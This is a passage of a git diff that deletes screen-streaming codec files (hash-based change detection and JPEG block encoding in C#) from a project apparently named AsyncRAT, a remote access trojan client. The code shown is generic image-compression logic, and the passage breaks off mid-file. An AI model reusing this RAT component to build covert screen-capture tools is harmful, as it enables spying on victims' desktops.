- for (int i = 0; i < Offsets.Length; i++) - { - for (int y = 0; y < ImageSize.Height; y++) - { - Rectangle ScanRect = Offsets[i]; - ScanRect.Y = y; - - int offset = (y * Stride) + (ScanRect.X * PixelSize); - - if (offset+Stride > Stride * ImageSize.Height) - break; - - uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); - uint BlockOffset = Hash % HashBlockCount; - - BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; - - if (EncodeBuffer[y][ScanRect.X] != Hash) - { - if (!blockInfo.Hashes.ContainsKey(Hash)) - { - int index = ImageOffsets.Count - 1; - if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) - { - Rectangle rect = ImageOffsets[index].Location; - ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); - } - else - { - ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - } - - blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - ImageHashes.Add(Hash); - } - EncodeBuffer[y][ScanRect.X] = Hash; - } - } - } - - if (ImageOffsets.Count > 0) - { - for (int i = 0; i < Offsets.Length; i++) - { - Rectangle TargetOffset = Offsets[i]; - int Height = GetOffsetHeight(ImageOffsets, TargetOffset); - Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - int blockStride = PixelSize * TargetOffset.Width; - List UsedOffsets = new List(); - - for (int j = 0; j < ImageOffsets.Count; j++) - { - Rectangle rect = ImageOffsets[j].Location; - - if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) - continue; //error in 1440p, did not tested futher - - for (int o = 0, offset = 0; o < rect.Height; o++) - { - int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - UsedOffsets.Add(ImageOffsets[j]); - } - } - TmpBmp.UnlockBits(TmpData); - TmpBmp.Dispose(); - - outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); - if (UsedOffsets.Count > 0) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); - for (int j = 0; j < UsedOffsets.Count; j++) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); - outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); - } - byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); - outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); - outStream.Write(CompressedImg, 0, CompressedImg.Length); - } - - - //TotalDataLength += (int)length + (4 * 5); - } - } - EncodedFrames++; - } - - private int GetOffsetHeight(List ImageOffsets, Rectangle rect) - { - int height = 0; - for (int i = 0; i < ImageOffsets.Count; i++) - { - if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) - height += ImageOffsets[i].Location.Height; - } - return height; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - //return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - - private class BlockInfo - { - public SortedList Hashes { get; private set; } - public BlockInfo() - { - Hashes = new SortedList(); - } - } - private class HashBlock - { - public bool Cached { get; set; } - public uint Hash { get; set; } - public Rectangle Location { get; set; } - - public HashBlock(uint Hash, bool Cached, Rectangle Location) - { - this.Hash = Hash; - this.Cached = Cached; - this.Location = Location; - } - public HashBlock() - { - - } - } - private class ImageOffset - { - public Rectangle Location { get; set; } - public List Hashes { get; set; } - - public ImageOffset() - { - this.Hashes = new List(); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs deleted file mode 100644 index 450d4fc..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs +++ /dev/null @@ -1,308 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCachedStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private static Size CheckBlock = new Size(50, 50); - private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); - private List Frames = new List(); - public const int MAX_FRAMES = 120; - - private ulong[] DecodeBuffer; - private Bitmap DecodedBitmap; - private List DecodedFrames = new List(); - - public UnsafeCachedStreamCodec(int ImageQuality) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - Frame frame = new Frame(ImageSize.Width, ImageSize.Height); - - int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); - int RawSizeUsed = 0; - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - List ChangedBlocks = new List(); - - for(int y = ScanArea.Y; y < ScanArea.Height; ) - { - int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; - for (int x = ScanArea.X; x < ScanArea.Width; ) - { - int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; - int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; - decimal FinalHash = 0; - - for (int h = 0; h < height; h++) - { - int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); - FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); - } - - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(x, y, width, height)); - - bool FoundBlock = false; - decimal FoundHash = 0; - int FrameIndex = 0; - for (int i = 0; i < Frames.Count; i++) - { - decimal hash = Frames[i].GetHashBlock(x, y); - if (hash == FinalHash) - { - FrameIndex = i; - FoundBlock = true; - FoundHash = hash; - break; - } - } - - frame.AddHashBlock(x, y, FinalHash); - - if (!FoundBlock) - { - int index = ChangedBlocks.Count - 1; - Rectangle cBlock = new Rectangle(x, y, width, height); - - if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) - { - Rectangle rect = ChangedBlocks[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - ChangedBlocks[index] = cBlock; - } - /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) - { - Rectangle rect = ChangedBlocks[index]; - int newHeight = cBlock.Height + rect.Height; - cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); - ChangedBlocks[index] = cBlock; - }*/ - else - { - ChangedBlocks.Add(cBlock); - } - RawSizeUsed += BlockStride * height; - } - x += width; - } - y += height; - } - - //write all the blocks - for (int i = 0; i < ChangedBlocks.Count; i++) - { - Rectangle rect = ChangedBlocks[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - ChangedBlocks.Clear(); - - Frames.Add(frame); - if (Frames.Count > MAX_FRAMES) - Frames.RemoveAt(0); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (DecodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - DecodedFrames.Add(DecodedBitmap); - return DecodedBitmap; - } - - Rectangle rect; - Graphics g = Graphics.FromImage(DecodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return DecodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return new Bitmap(10, 10); - } - - private class HashedBlock - { - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public int FrameIndex { get; private set; } - public HashedBlock(int x, int y, int width, int height, int FrameIndex) - { - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - this.FrameIndex = FrameIndex; - } - - public override string ToString() - { - return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; - } - } - - private class Frame - { - public decimal[,] HashBlocks { get; private set; } - - public Frame(int ImageWidth, int ImageHeight) - { - this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; - } - - public void AddHashBlock(int x, int y, decimal Hash) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - this.HashBlocks[x, y] = Hash; - } - public decimal GetHashBlock(int x, int y) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - return this.HashBlocks[x, y]; - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs deleted file mode 100644 index b4b0b8c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs +++ /dev/null @@ -1,365 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeMiniCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - - private Size CheckBlock { get { return new Size(50, 50); } } - - public UnsafeMiniCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (this.ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format + " is not supported."); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - //first frame - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) - throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); - - - List Blocks = new List(); //all the changes - fixed (byte* encBuffer = EncodeBuffer) - { - //1. Check for the changes in height - for (int y = ScanArea.Y; y < ScanArea.Height; y++) - { - Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - } - - //2. Capture all the changes using the CheckBlock - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - Rectangle scanBlock = Blocks[i]; - - //go through the Blocks - for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) - { - for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) - { - int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; - int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; - Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - //scan the block from Top To Bottom and check for changes - bool FoundChanges = false; - for (int blockY = y; blockY < y + blockHeight; blockY++) - { - int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - FoundChanges = true; - break; - } - } - - if (FoundChanges) - { - int index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - } - } - } - - //maybe a too hard algorithm but oh well - SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); - List FinalTemp = new List(); - - for (int i = 0; i < Array.Values.Count; i++) - { - FinalTemp.AddRange(Array.Values[i].Values); - } - - //fixup the height - for (int i = 0; i < FinalTemp.Count; ) - { - if (FinalTemp.Count == 1) - { - FinalTemp.Add(FinalTemp[i]); - break; - } - - if (i + 1 < FinalTemp.Count) - { - Rectangle curRect = FinalTemp[i]; - Rectangle nextRect = FinalTemp[i + 1]; - if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) - { - FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); - FinalTemp.RemoveAt(i + 1); - } - else - { - i++; - } - } - else - { - break; - } - } - - //copy changes to the EncodeBuffer and Process the Output - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < FinalTemp.Count; i++) - { - Rectangle rect = FinalTemp[i]; - int blockStride = PixelSize * rect.Width; - - //copy changes to EncodeBuffer - for (int y = rect.Y; y < rect.Y + rect.Height; y++) - { - int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); - NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes - } - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - } - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs deleted file mode 100644 index e4df368..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs +++ /dev/null @@ -1,473 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeOptimizedCodec : IUnsafeCodec - { - private class PopulairPoint - { - public Rectangle Rect; - public int Score; - public Stopwatch LastUpdate; - - public PopulairPoint(Rectangle rect) - { - this.Rect = rect; - this.Score = 0; - this.LastUpdate = Stopwatch.StartNew(); - } - } - - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private object ImageProcessLock = new object(); - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private List populairPoints; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); - - //options - /// If a part in the image is been changing for the last x milliseconds it will be seen as a video - public uint AliveTimeForBeingVideo = 5000; - /// This will check if the video went away or stopped playing so it will refresh the other parts in the image - public uint ScreenRefreshTimer = 2000; - /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video - public Size VideoScreenSize = new Size(100, 100); - - /// - /// Initialize a new object of UnsafeOptimizedCodec - /// - /// The quality to use between 0-100 - public UnsafeOptimizedCodec(int ImageQuality = 100) - : base(ImageQuality) - { - this.populairPoints = new List(); - this.CheckBlock = new Size(15, 1); - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) - { - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) - { - populairPoints.RemoveAt(i); - } - } - ScreenRefreshSW = Stopwatch.StartNew(); - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - PopulairPoint[] points = GetPossibleVideos(); - if (points.Length > 0) - { - ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); - } - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - if (points.Length == 0) //only scan if there is no video - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - index = Blocks.Count - 1; - if 